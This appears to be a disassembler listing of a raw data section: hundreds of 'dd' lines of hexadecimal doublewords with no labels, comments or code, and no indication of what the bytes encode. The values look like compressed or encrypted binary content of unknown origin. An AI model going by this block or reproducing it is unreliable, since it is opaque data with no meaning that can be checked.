dd 2005A99Dh, 0ABEF819Dh, 18CAB512h, 4D210BF1h, 0C2D0287Ah
dd 0B6EAFE04h, 16BC86D6h, 2BD88B05h, 748DEFC8h, 548AD1E8h
dd 0F0531CFCh, 0B35F17D9h, 619F0D7Eh, 5072093h, 0F3B2244Ah
dd 0F38B600Bh, 0D0F09BC6h, 0F3B4614Ah, 197725BFh, 101FF4C9h
dd 3204D380h, 511145E9h, 0ED4EE0DDh, 0BE6C9D28h, 49D5BF00h
dd 0B07A129h, 0AF7BBD67h, 48A451ADh, 30D90C96h, 15A0A51Fh
dd 0D49589FEh, 9528BB2Dh, 98F54B6Bh, 0F401FDCh, 57F8B58Ah
dd 3A97BFEEh, 37445FCDh, 8DFB912h, 67D17AEFh, 0DBE08F16h
dd 4BA9F6E8h, 0EFD9841Dh, 0CC8590DBh, 0D342FD4Ch, 420C609h
dd 0EED92204h, 8289C695h, 90B7FC27h, 579B2F00h, 0E2B1F4h
dd 39541512h, 6A19D23h, 0BFAC484Bh, 1995FEC0h, 2D39EC9Eh
dd 0A3848147h, 0C02BBF49h, 7E16E3Bh, 5A324D2Ah, 4BC95B5h
dd 1A0B8FD4h, 0E4567C60h, 0A363902Dh, 3E0312A5h, 0D32CF6F3h
dd 0E49738DAh, 0BD160146h, 0F0AD06D9h, 7550568Bh, 1FDA5F4Bh
dd 6AC019C8h, 2691715Ch, 4585FA1h, 0BD74ADEBh, 0F26BD622h
dd 94A21000h, 9529A9F7h, 7F7425E5h, 1CB2D6CBh, 1BDC230h
dd 907BF05h, 3FC794F2h, 0EB09786Eh, 0EE714A47h, 7D098A47h
dd 9000993Dh, 5EAE91B4h, 0E8095BFCh, 0C78180A7h, 389571C4h
dd 0E75AB814h, 0DFA1B0E0h, 0E60A5AF7h, 3016B22Fh, 4F007DF7h
dd 8160E1FFh, 2C2451EEh, 0BE6876EBh, 0B8613F13h, 5E272D42h
dd 0B8B473C6h, 71D889C2h, 513544E9h, 25FFBCD2h, 0FDC57E56h
dd 7C49D41Ah, 7604DC91h, 192B45C9h, 509ECC1h, 667BB1BBh
dd 66600C04h, 0DB802B80h, 0F122FFFh, 0F1E033F6h, 255BBD33h
dd 92B53E4Fh, 0E180F781h, 0AF6F7Ah, 0A26B41F8h, 5A3D1FADh
dd 0CFE20CEh, 8300B1F7h, 8AAA5B9Bh, 0BF53685Fh, 4296F9DBh
dd 0B514DAE0h, 2F8910D1h, 412B4F01h, 2BB373EBh, 4C87C635h
dd 755B6279h, 1A64A66Dh, 0F2A0CB63h, 312EDEDFh, 0F502A37Bh
dd 0DF0DAEBAh, 4E8FF529h, 0FB692553h, 67024A6Fh, 73D509E0h
dd 2030451h, 0F09304A6h, 41A2F7h, 559E36Dh, 0CE2E0ED3h
dd 50606912h, 26B8D3C7h, 0AE8517BAh, 68618A40h, 2E479E79h
dd 1E80609Bh, 81B0BDC6h, 0D76586B8h, 6CF0645Bh, 0E65E4A46h
dd 3016B220h, 0F9E84207h
dd 24C95395h, 0BE3B02FEh, 0EF75C3E9h, 185960D1h, 0EE16BABCh
dd 20F28488h, 0C08C1000h, 2C8571C8h, 511102FCh, 7170870Fh
dd 0FF51955Fh, 0C07D0954h, 7C04A393h, 6CEA560Eh, 0BF12662Ah
dd 63F3266Ah, 519D0B04h, 123F2910h, 4F60E3C1h, 0EED45780h
dd 14E19189h, 0C7090D04h, 7B308513h, 2FB4890Fh, 9FDCCF61h
dd 0B2C9A72Ah, 510D48BBh, 0B2504E86h, 8F950088h, 5EFD2218h
dd 3E098B1h, 1FE0EDD5h, 968ACA76h, 2A342461h, 4DB881B9h
dd 0BB9F6401h, 4BCA51F3h, 9DF8E760h, 4E70BA89h, 60924FB5h
dd 66E11756h, 1095D895h, 32D59Dh, 0B47E1368h, 1204BBC2h
dd 401BA246h, 6A85EC94h, 9513893Dh, 70AE142Dh, 0B9D78196h
dd 7D58880Ah, 0F289FB90h, 7790E450h, 293300F0h, 0FBB30C7Bh
dd 0E9E85A4Ch, 30622D30h, 95B87AFh, 0B19D0390h, 0DF8B24E0h
dd 7749C891h, 5302EB35h, 0FD89F74Ah, 0F410B293h, 612C09A5h
dd 0C253B42h, 3382E3C7h, 0D523759Dh, 495B1E9Ch, 33B370E7h
dd 77318288h, 0E997EF09h, 0D8F4733Dh, 0BE2F3986h, 0FEA68BB8h
dd 0DD60DFA8h, 14A7A149h, 0EEF560CDh, 25161510h, 11C8C561h
dd 51C84B34h, 0E31100C5h, 0AFD8A8DDh, 0DC52E8A9h, 3918CCEEh
dd 1760C929h, 25E526C9h, 678A6A48h, 0AE296CA0h, 8DEF6EB5h
dd 99D061FDh, 6D40D2FDh, 10BD2991h, 97C1DCDAh, 9602461Ah
dd 165719C9h, 0D47CBC15h, 147D7A01h, 5B882BAEh, 9D38603Eh
dd 0BB8023F9h, 0F8080BAAh, 6D549666h, 7F55BF00h, 0E40F3144h
dd 0CABB0553h, 0EE159DFAh, 0B796EC82h, 95208284h, 61D75FABh
dd 0F22F0CC3h, 2684B8A6h, 2D7EA7BDh, 3D5618ABh, 7B4012C4h
dd 596E0BB0h, 32FE5A00h, 0BB443D2Dh, 8C4A05E6h, 0AB7D9062h
dd 7ED537DAh, 7ECE7DC0h, 0CD95B488h, 601B645Bh, 4FC7465h
dd 7C7E5AD9h, 0D210BC58h, 0B9D671AAh, 5E23E2Fh, 0A299E6D3h
dd 19A682B9h, 7635571Bh, 0DF891711h, 80071E00h, 8B976FE7h
dd 1F8A1830h, 2431733Ah, 3BEE5E51h, 92A08DAh, 60B95B12h
dd 0D46BD3h, 89EF6937h, 25ED5B64h, 7EF9B516h, 41CB3B00h
dd 245D3874h, 187FB6Eh, 0B5BD89BEh, 0C683A513h, 0DC319C54h
dd 0C10BD902h, 5DD69345h, 0D17980D3h, 0BF3F9326h, 495A368Bh
dd 9EAD16EEh, 4676F361h, 2595F36Bh, 2CA2C5C5h, 0B1CA89D7h
dd 0D7A00A79h, 541AB925h, 152D71A9h, 0AD5F604h, 1F44960Bh
dd 0B0F1EB04h, 0D2EFE761h, 2C59538Bh, 0C1A0Eh, 74CD759Eh
dd 5C390004h, 0BBAE246Eh, 7225BC90h, 52F3C55Bh, 0AD4545D5h
dd 5F9D9710h, 18990502h, 5C511DFCh, 0D0716BF7h, 5DF2C807h
dd 0F0661F70h, 0F18100D7h, 3B4C0ACEh, 567CB279h, 8EA0BB04h
dd 0BCBD5F5Bh, 531C8384h, 55002DB2h, 0E0B65CE1h, 0E400738Eh
dd 0B549E927h, 0B4F5F07h, 0F9D7782Dh, 5B4BB7D0h, 272307CCh
dd 7BC199BDh, 0C26DD929h, 3871EC5Ch, 6A72B311h, 19B24FE6h
dd 88EBA3B0h, 0E96E9B00h, 4D950192h, 9909716h, 81A05B53h
dd 3D97B977h, 831B91E9h, 9877914Fh, 4BB759D5h, 0C778206Fh
dd 9B1CF7A6h, 0FD0041DFh, 2CD84F64h, 9BE0516Dh, 975BE9F0h
dd 8D89DF00h, 5BE1A4Dh, 0A12069A8h, 0BF660929h, 7F71033Fh
dd 588EBB81h, 0DF1021EBh, 82520F50h, 0CB305EE3h, 204E74h
dd 0F8DB9A7Ch, 0B372F737h, 0E26B0100h, 0DD65DC54h, 5F6F38CAh
dd 503790AFh, 11DF2B00h, 52C7F5h, 0B86D94D0h, 2A59F381h
dd 5608D434h, 0C8CBE687h, 9EC19DB5h, 1BB4704h, 8B1CCBE4h
dd 54A3DDE6h, 0F1A0F456h, 775075E8h, 8BEEEAF7h, 9584DE4Bh
dd 96D8BC0Ah, 9715223Ch, 6CBBC310h, 141FCE00h, 0D531980h
dd 26805A8h, 0ABEAF4BAh, 0E9FD0F57h, 67059CB8h, 14697A36h
dd 0F5BB93BBh, 44C04C4Ah, 0F16C2F24h, 87BC6E6Dh, 7C757700h
dd 0B501C199h, 222A4B31h, 0D3570462h, 0C3197123h, 0DD2F2084h
dd 9375249Ch, 16FC0242h, 0DC765AF4h, 713FECAh, 0B86674ABh
dd 0AF3D8032h, 0E5A0A04h, 85849E81h, 0D1FF9782h, 1A9375Fh
dd 8FECE0E4h, 4DEC8909h, 0C5D57129h, 577BEE93h, 787B4500h
dd 90EBA165h, 0C3A44C4Ah, 26A2DF7h, 17002DD9h, 0D00BC22Ch
dd 3B39837h, 0F2AE769h, 0FCB25236h, 0BF63C85Dh, 759D7CCDh
dd 2F150B31h, 0A3DE28A6h, 0B1E78140h, 70072D1Eh, 927C554h
dd 11B4B784h, 0BD258415h, 823191F0h, 20E46E7Fh, 0E92514B9h
dd 0C2D0711Ch, 0FC06A3E7h, 4A9259Ah, 9CBEAA73h, 0CCA55090h
dd 0BA51BD85h, 6AC8899Ah, 0DC7156C6h, 86001B46h, 78802DC7h
dd 234A3C30h, 0C51063E7h, 0BC9C9126h, 4C207D1Ch, 0B2130DF7h
dd 642E051Dh, 0D5A4815Ch, 0A4F73B1Bh, 0A0D952A0h, 0D5972309h
dd 4B1CD0F1h, 22868A2Eh, 0AF13B712h, 0DD92A5E8h, 3116410Ch
dd 5AD594A3h, 6E73B147h, 0AA9156DCh, 7305D588h, 0C8FB7780h
dd 2471E409h, 0B2AE1438h, 70D4389Ah, 0BBFC888h, 6915303Eh
dd 82C96B56h, 5716F963h, 4C126B13h, 0C8BA1FA1h, 0F922B590h
dd 0B0C84E22h, 3713728Dh, 0E5B0D18Bh, 0BD2BA8E9h, 27F19F39h
dd 55136909h, 0C0CC0EECh, 9BFB13Dh, 19C58901h, 311C6470h
dd 71E50995h, 45F42F54h, 54B81B12h, 893724CAh, 545C0BA5h
dd 70DD64CBh, 372300E7h, 613878B8h, 0A890B7DFh, 0FE07DE00h
dd 6A7AF155h, 0F35C959Bh, 29C0B04Ah, 9D2A519Dh, 8BC3B151h
dd 89A5DAF9h, 12A5DE1Dh, 416DE27Dh, 31F28C7Fh, 0E2BD1909h
dd 3571B52Eh, 0DD1A4B42h, 2428CFBDh, 529C8402h, 0FFDC5C67h
dd 0FE49366Ch, 0CB800476h, 0A3B95BF7h, 97B9DE87h, 0AFD40907h
dd 95DF2DDEh, 8B95FE58h, 7CB7F79Bh, 0EFAC0F12h, 67FBFC25h
dd 2D61A170h, 81CDC02Bh, 0A7B44EC0h, 0D95702A6h, 0FCD2B973h
dd 25A9E65Dh, 0AF739DB3h, 2A181951h, 73342B04h, 9B8C72AAh
dd 12BC7F0Eh, 0E62E56EFh, 0D39AD289h, 37128B9Fh, 8F261940h
dd 53880D2Fh, 0A621D84Dh, 95CFB905h, 62EE05B0h, 688B8E52h
dd 4D619100h, 0C7911B5Bh, 87EA0980h, 73D178h, 0D38AF631h
dd 779B0FC5h, 89C0A93Ah, 71CBC26Ch, 9797A8A3h, 5C2F305Ch
dd 16A65D48h, 0DF972FE2h, 6952FA8Bh, 1FAD5B4Bh, 281756B8h
dd 18047839h, 89B81B89h, 3D7D9DA2h, 0A16D89D9h, 2869DB82h
dd 23659090h, 0A57BD3BDh, 8EDC9754h, 0F8AA2C8Bh, 4F0C113Ch
dd 68009AA2h, 45F9856Ch, 0BF1EC71Bh, 4854705h, 0CBBDE1FFh
dd 0CA003CB8h, 179D7BC8h, 4ABE788Eh, 0F30BAE9h, 9715C5BDh
dd 97459C1Ch, 4016E2Eh, 0D6573D7Eh, 1FB9DFC1h, 12B0CE6Ah
dd 7AEF0480h, 1134019Ch, 0A21E157Ch, 0B1650760h, 95E0200Dh
dd 0DAEBEC51h, 0E132C42Bh, 0DC600911h, 0E01DCC7h, 1D1870E3h
dd 3738F515h, 0B7801280h, 1700CC5Ch, 0D8CD1107h, 13E4F9Ah
dd 24B89327h, 2EA1F0C0h, 17269FC8h, 0ACA07Ch, 0B9962BA7h
dd 4C129FDFh, 0ECE15FBEh, 1DF511Ah, 0F642E7D1h, 0E65CC2E5h
dd 1F0DB72Fh, 0A8A4D20Ah, 0F28D804Bh, 1C940550h, 52B3BE40h
dd 24D1E45Fh, 6018E487h, 25469EF3h, 995B56F5h, 184B5A5h
dd 0EF888F85h, 0ED322EFEh, 4B705E29h, 57061255h, 8B795DCAh
dd 9068D601h, 866AF5A3h, 84B58441h, 0C21F1CF5h, 69725D9Eh
dd 61A60157h, 73DE6D5Eh, 0EC31718Fh, 37000CBFh, 0F6D930FBh
dd 9F8501E2h, 0AA59A3AAh, 0D6F5BED8h, 0F1001B46h, 75D933Ah
dd 4D51F577h, 25628B80h, 0DED95631h, 38071946h, 30F9BE88h
dd 8850FA9h, 611FD6h, 76887FB7h, 0E9092F39h, 811E20B3h
dd 2FF531D7h, 285E752Eh
dd 4BD81ACCh, 9F948534h, 0E3B5801Dh, 26A29061h, 0C98EFC14h
dd 0F2DB0EF7h, 3446BCE7h, 87CDEBB5h, 0EADA162Bh, 38003F7Bh
dd 0F5A4FA2Ah, 0B21634DCh, 2682F709h, 0C7890405h, 0AEDD8576h
dd 6A5A418Eh, 0C6F700CDh, 6A9772F3h, 16077736h, 538F0F83h
dd 0AD60BB63h, 123EF381h, 0BC0E2E98h, 90D18E4Bh, 0B2CE5038h
dd 1D690171h, 5F8249BCh, 75E1C8F4h, 125B5E59h, 2ADEB180h
dd 8DC0C7DEh, 6803B76Bh, 4B30F302h, 5CD98BCDh, 0D30C0ED3h
dd 0B59E322Ch, 0D39D164Bh, 2A91216Ah, 0ADDDF8DFh, 0D011400Eh
dd 0DD72CB1Dh, 4B49D684h, 0FA81775Fh, 0D350C2AEh, 6480FE98h
dd 0C0F25BF7h, 10DEDC17h, 0B990456h, 0A8129301h, 0D4125F04h
dd 1EACF5B2h, 0D2611026h, 0F14B05DEh, 0C1DC6310h, 8BC2E8CBh
dd 0D79822FEh, 8B256F1Ch, 49D573FBh, 4E38FFFCh, 6EAA3A64h
dd 27200105h, 406FC1D5h, 12787330h, 0EE820F0Bh, 1CEB9Ch
dd 0EC53A249h, 27B00790h, 0F1A7E502h, 5E597134h, 5F60DF09h
dd 57AF828h, 0ACF2BFDBh, 0AE1CBF7Dh, 0D3B80F52h, 2A0466E1h
dd 6A8F2D9Eh, 0CD9FE7A5h, 0BA9DE078h, 0FD9CE500h, 5E0AD0E8h
dd 38FE2FA0h, 5916E50Ah, 80838525h, 0DDF1AFEBh, 0C0A4DE6Bh
dd 0BBBD305Fh, 869F04D9h, 0AB088D0Fh, 0F8078D8h, 896117E3h
dd 9DD699C9h, 61AED945h, 3BF8BF30h, 58B31012h, 6FFA603Eh
dd 0E3D35501h, 0E6612530h, 0DC19D27h, 0CCFF0433h, 2100A32Dh
dd 71D7206Fh, 7AA60F1Ah, 332A018Fh, 852DCAEBh, 0FC64450h
dd 2FC08718h, 19BFF7FAh, 91CD4000h, 28B5B065h, 1AC0252Eh
dd 0BD009444h, 340C6E14h, 7C6862h, 0C4DA0602h, 490B4118h
dd 5F245B71h, 4709EF96h, 0E2A156ADh, 0EE5C0329h, 8454E3E9h
dd 80E970AEh, 1A979CE7h, 6CD5D6C0h, 174AC5FEh, 0BF12B9E7h
dd 318C0BB0h, 0ADA7B575h, 0ED04626Ch, 0F8C09650h, 0E94BA0B8h
dd 9875B8D3h, 2C1525F9h, 1751D073h, 0E0F01F18h, 223BD948h
dd 0C120BC0Ch, 72AF59Dh, 0DB2586C5h, 3B0020E2h, 1D4FBDBh
dd 0DC091F06h, 7176AB46h, 255BA8D2h, 0E5C0B29h, 51237B5Ah
dd 20C23BDFh, 0ECE7D711h, 8FFBE9h, 294D2BC9h, 8C5F478Dh
dd 0ED45CFB8h, 2F2D6168h, 25C2B59h, 0BB6F4236h, 18FAB6A3h
dd 2653BD9Fh, 85098977h, 50354157h, 2B72202Bh, 7800761Dh
dd 864B7156h, 16D5A1E7h, 0BD681C5Bh, 58E11E5h, 4A6BF07h
dd 89DBE9E8h, 30181B59h, 0DBCC107h, 0B370BA8Bh, 148AEF81h
dd 0AE5A502Eh, 0BD165D12h, 0BEA6D31Eh, 10DD5BE0h, 3DB52909h
dd 0C532791Bh, 80DC9F4Eh, 0D1411E52h, 32A100BAh, 0FFCC626h
dd 44841580h, 0E5000710h, 39A9447h, 3239685h, 3C200EEDh
dd 0C0F5D533h, 37C729C0h, 0FC2C29B5h, 21BF09BAh, 0C2602D15h
dd 94E9626h, 0E2B35D32h, 0D395447Ah, 18187966h, 0DB790BB2h
dd 865C6B91h, 161546D6h, 9AB45C1h, 3D7914FBh, 7BAE6CC5h
dd 748F2D74h, 56AD16F5h, 0AC77AD06h, 8F2D8C14h, 40104FC6h
dd 716068C6h, 586CAD04h, 71BC8AB3h, 78C2BBB0h, 0E91CB809h
dd 0E301D577h, 2BC18BF5h, 0A9E4D1A6h, 0FC8A00BCh, 319C3717h
dd 0C4014BBDh, 0FAE6AAFDh, 0AA8A75A4h, 7F0FC549h, 4255179Ah
dd 0A638DFECh, 0AC026505h, 0B9BD4EBBh, 0EF6FD534h, 0A195F640h
dd 1537976Ah, 8CBF480h, 0AD78B28h, 0E8B7CC32h, 0B44E0286h
dd 69DB064Ch, 9DB32070h, 127A76Eh, 3BE3FA8Dh, 11A59D33h
dd 0E2E0B7Bh, 0D15B01D4h, 0B767D38Ch, 19842F3Dh, 0F565FC89h
dd 94ADC315h, 0D09D43B8h, 13ED20E8h, 0B3403596h, 0EA3414h
dd 3D6E6704h, 80EF2AC7h, 5EFE8B16h, 0D2D116FAh, 4D576ADDh
dd 0D348E007h, 70EE8C03h, 0CFA4CA27h, 0ABEB4585h, 22D0039Ah
dd 0CF817BC9h, 6A13F3EFh, 0DD46FCB7h, 0E064C0B0h, 9FBD6C12h
dd 4A3A5214h, 0D1254FE9h, 1440A054h, 4A1B767Eh, 80B8B81Eh
dd 0EAB36D11h, 32CC1229h, 0A9BC1623h, 0E55B2516h, 285E12A6h
dd 5A00D7C0h, 60DDEB4Ch, 76A875Ch, 16CB8102h, 907C730Dh
dd 4B3E4h, 5061F08Bh, 90341BFh, 53907320h, 514E2558h, 0E8ED4DF9h
dd 5705E5D7h, 0DB19B88Eh, 0F9CDB101h, 843E4F41h, 12DA561Ch
dd 8471E363h, 0F813B458h, 3EC7093Ch, 0C0455469h, 43E36AD0h
dd 56616D25h, 80C62519h, 7AB50125h, 605027FEh, 0D6061855h
dd 8790BD61h, 0E7952BC5h, 0D698241Bh, 0D98B4512h, 8A12A8F6h
dd 0ECCCABFEh, 0D85060DFh, 5B75BDD7h, 1F046A58h, 0BBEBFDB5h
dd 0E62F63D9h, 4EE928B6h, 84F29907h, 23E0D2D9h, 16EB4E7h
dd 0A50BDDECh, 0F7FD4EFBh, 775E61C2h, 0C4572EC4h, 0B0A64CA3h
dd 0E626DA10h, 0E5087870h, 71E40B12h, 257A0B08h, 800C5BC9h
dd 70B86045h, 9520ECB3h, 0C6303B10h, 8F475602h, 6661013Ah
dd 0E1DE9546h, 2F7A2480h, 4F1F130Ah, 5E48B803h, 9582E3ACh
dd 0D357059Dh, 0B31027E8h, 75002E77h, 7A31ADDh, 4A90AEDh
dd 0D4D153FDh, 3D9E8C97h, 5031A01h, 0FCB935A5h, 1201C960h
dd 0F6187185h, 0F38132A6h, 7A75EF5h, 0E8318529h, 0D2CF8140h
dd 272512B1h, 0D3FB608Bh, 29006676h, 0B944CB10h, 1F4F0CDh
dd 0F3A73728h, 2E6F4E1Dh, 7D1C2122h, 5B7CD0C4h, 7288675Eh
dd 48AEB635h, 6BBB0161h, 2F7BCB61h, 2666BC0Fh, 970E5CB2h
dd 89254570h, 45BAE60Ah, 45B5F00Bh, 88333144h, 0FF6E8D8Bh
dd 79DEC903h, 3D221197h, 9ED0FBFh, 16A5CA08h, 9589FE04h
dd 0D73967F6h, 65ADB51Ah, 7C444ED5h, 0B4C4E04h, 579AF91Ah
dd 0D06B695Ch, 670508EEh, 7BA782B9h, 9D75708Dh, 70E12112h
dd 9B2A6CF1h, 51EB80B3h, 0AB71D72h, 3EC5E0D3h, 0A29A00FCh
dd 2BFC104Fh, 3ABBC002h, 5E2A0EACh, 0D3E44B32h, 2FB0484Ah
dd 0C0AE005Bh, 0EBC5E79Ah, 0AB01F1D4h, 91A1CBDBh, 0A7428C71h
dd 2F6256CDh, 42D24756h, 9F65353Bh, 711380D9h, 6DDC97Eh
dd 12ACE349h, 0AC912839h, 61003221h, 0C2FD9D23h, 0BFC43057h
dd 0C1241038h, 79EDA536h, 0E82C58A8h, 268BCB65h, 0B735557Fh
dd 19C4B0ADh, 5EB3B088h, 845EEC8Dh, 41BC070Dh, 204E68BDh
dd 1A10B723h, 820141D1h, 0CE6814A7h, 28D5E7C3h, 0CC2FE27Ah
dd 2701339Ah, 8A89D195h, 56169A5Fh, 0A1BB40F3h, 4658E18Fh
dd 9B0C22F1h, 51C3817Ch, 2F66F171h, 4DF60874h, 758C93A0h
dd 7862034Ch, 40BBEBA8h, 55D622Fh, 64AED58Ch, 0A0BAE67Eh
dd 92B3AD9h, 641B84A4h, 0E740E3D4h, 1DC679h, 8D8AF0A3h
dd 0CD65CCAAh, 0CBC9E401h, 90E1C10Fh, 7F0D282Fh, 0EF9044Ah
dd 92013CE9h, 6D8808E2h, 22EB8187h, 5C623132h, 142451E1h
dd 9A59E10Ah, 6EEE6092h, 0B7A712D3h, 3766B0E1h, 0C6DF4FF2h
dd 915C9540h, 0D3C214F4h, 2A0096DDh, 927ED12h, 324A55B5h
dd 7A1C7EE3h, 31DE2F01h, 0E3FD00DEh, 0F8E84A9h, 1B71B9CAh
dd 1348D89Dh, 85699529h, 546BAA95h, 4C031723h, 0B2BE10B6h
dd 0EF25F89h, 0C28D5F4Bh, 940B9B6Bh, 0B7500987h, 771F421Ch
dd 0EB257137h, 0F0AB8C1Bh, 7E95135Ch, 0DC9C7C3Fh, 52CAEEC0h
dd 6D4E48D5h, 0AA229912h, 0B04E5ECEh, 0FC758AD3h, 0FA144BD9h
dd 56D6C1F2h, 9000C173h, 0C48CD458h, 73B7B5Ah, 0BC373A75h
dd 0D134625Eh, 0B0AE5A61h, 0B5585A10h, 1056DAA0h, 0C9BE0365h
dd 0B1C8014Bh, 0F16F2E2Fh, 39011D23h, 8BB6A915h, 0E0F682D2h
dd 0B938E01Bh, 2D6D486Ah, 9661CF18h, 0A038E9FEh, 48B95E01h
dd 989710BCh, 2DBD0B03h, 0FB732B65h, 4EE38085h, 9DF860AEh
dd 2D85054Dh
dd 0D598943h, 0DEC32892h, 0AE829584h, 4F78DA73h, 0E0DB0180h
dd 9B68D6BBh, 96AA2244h, 78A03BE6h, 361652E5h, 0ECF80EBFh
dd 15BD8BC1h, 63E00733h, 97503527h, 56DCBD09h, 545CA609h
dd 0BB82BC26h, 310F3872h, 0DE49FADEh, 0D39B60B4h, 1301B3C4h
dd 2BE4316h, 826B5F53h, 895D963Bh, 0D96E5548h, 187058C0h
dd 27F4D868h, 89402355h, 4A77F727h, 94B8074h, 0DEFFB085h
dd 5917821Fh, 3CB65C41h, 0AB50A193h, 6CBF4260h, 7D905D78h
dd 0D25CDBCh, 2A6441F2h, 0B812A27Bh, 954E0263h, 1949E529h
dd 0BDE4E877h, 98115FB1h, 0C3E2AA5Eh, 133EA300h, 643B29F3h
dd 7C4704BDh, 0E0177273h, 615E5FB2h, 3A015D6Eh, 7C54424Dh
dd 11230CEh, 0B318516h, 3FB4C9B9h, 43260133h, 0A0D40C8Eh
dd 0F1DCE44h, 9CBF8393h, 9C000429h, 8EBD55D2h, 48318A6h
dd 0D8B1AAF0h, 0A202B8EEh, 0BF268027h, 0D23AE9DBh, 0B29BBE0Eh
dd 0FA137783h, 0EBF5B894h, 0E01C1593h, 5F1C4A01h, 2B168A0Fh
dd 0F00FF0E7h, 6BE0432Dh, 0DAE26930h, 0B6871800h, 0E073CAE9h
dd 0EE1497A5h, 1BF2BE43h, 2C8AA30h, 4DE4415Bh, 0B177AE3Ch
dd 14F0D093h, 52B7F638h, 0F4D3E9D9h, 2217BF01h, 67AAAFF0h
dd 0B4EBF206h, 0CFAFB75Ch, 5535408Ah, 1D7E61C6h, 0DA3049Fh
dd 0A5DF290Eh, 80579656h, 651C4647h, 6A50E780h, 434B27D5h
dd 4538F58Dh, 0C82D1F80h, 8D04BE34h, 0FA475B96h, 0B2C098EAh
dd 506861B7h, 648B08AFh, 0E96E155Dh, 39002459h, 4111934Eh
dd 3D8E04C2h, 0AACA99A7h, 1823E66Bh, 6B61CC01h, 242F3982h
dd 3BA6AB11h, 0D2DD27E7h, 7055A3BFh, 29D4984Fh, 49DC0CB9h
dd 0D3818CB0h, 9A9DA32Eh, 5A3EC625h, 89E9BD51h, 717109D8h
dd 9CF3273Ch, 264EFC70h, 9ED59B8h, 765E3061h, 0D57C51C0h
dd 83CC1FC8h, 0DB528584h, 9C01EAB0h, 0C17082C0h, 23736B2Fh
dd 21B1214h, 520B613Ah, 0E04E9077h, 0B3AB00A9h, 3C326768h
dd 0FB1206A5h, 86F15F11h, 40B9C579h, 4D16F56Bh, 11A4E604h
dd 89BCBACCh, 89829B5Bh, 0A244F50Bh, 0E1B58909h, 21C67D1Ch
dd 0C8FA887Fh, 35F77000h, 0D607C693h, 38180BA5h, 6D5E8201h
dd 19C1BBC1h, 2529C220h, 82EE26F0h, 0E0DD580h, 91DCB795h
dd 0FB098B14h, 181B594Bh, 3EDD01B1h, 12DE8E25h, 59843B39h
dd 859D0081h, 5F2D7628h, 99293FAh, 0C7CCED9Dh, 6032B6EEh
dd 75ACDF5Ah, 0A15802AAh, 0D7B43060h, 8BD1C843h, 13637CFEh
dd 0DC7B1429h, 8B75277Dh, 0C525545Ch, 2A631A38h, 8AEDB7FFh
dd 0BAD6F83h, 54760F89h, 99175FEFh, 7D50C382h, 0BB853CD1h
dd 0BF52C323h, 80E0A6E6h, 560A6BD1h, 0EC49B531h, 0F1BD5B92h
dd 0CCF3DBC2h, 9744CEF5h, 0C413DDB5h, 1927E9ECh, 57D25Eh
dd 78B68491h, 0A4010A16h, 8D09B005h, 0DC6B0E49h, 2450BB88h
dd 949770DDh, 0DD575F3Dh, 8E706E2Ch, 602E08h, 0BA3A0E87h
dd 7235747Ch, 33DD794Bh, 0E4B0D436h, 8B13542Fh, 12F98D31h
dd 0B06CC627h, 1D3C4A00h, 0C8752B11h, 0A8B712ECh, 0F599BCD2h
dd 4F023F6Bh, 21BD23E1h, 0BBE996A1h, 0F0B93AF2h, 3347ECBDh
dd 76DBD10h, 4A596150h, 80CCFD0Ah, 0B8B7C3Fh, 0EA9F7DBBh
dd 0EF0195C1h, 2FB329EAh, 2709E608h, 0DD25AB78h, 0A563E516h
dd 28D640DCh, 1E96BEDh, 0C29E281h, 6B015330h, 4B613388h
dd 0F86FD4F5h, 8B1C806Ah, 0CB9C6Bh, 0B54477D0h, 5376A614h
dd 9DB26009h, 2DE7FE48h, 55D2955Bh, 9B99A3C6h, 0CCEBB492h
dd 0C509832Ah, 746A7FFFh, 5D01F492h, 3A3627ABh, 0B36F9D12h
dd 850B0369h, 90161B2Eh, 801FEh, 9AAACB8Eh, 8D4E4BB9h
dd 6BEA601h, 59793BA1h, 61500A6Ah, 0C4C905CCh, 803A9E4Ch
dd 68088B0Bh, 37941762h, 0E48FC8F3h, 7DFFD300h, 2805707h
dd 6E0503E2h, 0FCC26F33h, 6B0F1598h, 0BD1189FAh, 854B1655h
dd 0CF20EBBBh, 2CBB11CDh, 9337BDFDh, 15D9825Fh, 88045C29h
dd 1D22F931h, 0FF9CDF02h, 575B818Ch, 4B8B0A92h, 0E5ACCE56h
dd 0B7828310h, 0E1D15BACh, 7397A925h, 0D643A651h, 66115E00h
dd 6084A682h, 908D4A89h, 61C1B5A4h, 0D35BBA97h, 63C5048h
dd 0FA35EC0Bh, 4EBCE0A5h, 0D1FF259Eh, 0D07084D3h, 232F09C9h
dd 16095F54h, 1AE8E575h, 0B91B337Ah, 0D849F009h, 40FED616h
dd 79F64E12h, 140D6702h, 412B9E3Eh, 382602B7h, 0F11F91F0h
dd 22499C05h, 0EBB0984h, 3A356056h, 94B6B800h, 4DF8613Bh
dd 83BD8817h, 512541ACh, 0D74D9B57h, 0D85989h, 9E7BB38Ch
dd 905B6C5Eh, 5B1D0C1h, 0E9D09815h, 2CAF574Ah, 0A790D3F5h
dd 0E035ED9Fh, 0D161B2BCh, 0D7C5A62h, 6B230733h, 0FC4AB4FAh
dd 4EDE6AAFh, 37FF5C60h, 0EC865A74h, 79BB02FBh, 4A658C71h
dd 703FF391h, 76014AD0h, 5D145A4Fh, 0E66A2592h, 4E6E545h
dd 114CE80Fh, 0BDE9B3A4h, 91578AC9h, 0EEA90513h, 0CA7FAE4Ah
dd 0BE9BF800h, 78F4402Ah, 22EE3400h, 43D85BBh, 0FF6A2F38h
dd 0BA027237h, 0F41A752Dh, 0C1AA4579h, 721FAD1Dh, 62B271A9h
dd 25F7810Fh, 7B5E8977h, 55F91AE5h, 864A8257h, 11BB2005h
dd 0E6E05C83h, 0E0F97025h, 880287E3h, 0A4977DB3h, 42A2D7E5h
dd 0AEF85C17h, 0D88B0342h, 885E51BAh, 31D2E6Dh, 55083D89h
dd 0D1BF9AE8h, 3EFFCCE4h, 0E0D255ECh, 90BF53AFh, 9C75C7Eh
dd 5FA870D3h, 605EB478h, 86D99BACh, 2B61F4A0h, 0F98AC81Fh
dd 0EB7D1C0h, 64C9B589h, 5E7CFB29h, 1B019506h, 9785768Dh
dd 235ACB46h, 5109BCF3h, 85815EF5h, 6BC30CD2h, 60ABBAD4h
dd 604CE388h, 0E5086725h, 0C99504A8h, 62E15F27h, 0C2988F0Fh
dd 892536B6h, 45B1E455h, 0D3E83A21h, 7275AC96h, 0B7CADC4Bh
dd 12536740h, 0F65BD9B7h, 42860BB0h, 0E0FDCD4Ch, 4626B26Bh
dd 1347CD27h, 30CD887h, 5B50097h, 0A68B4967h, 840C52F3h
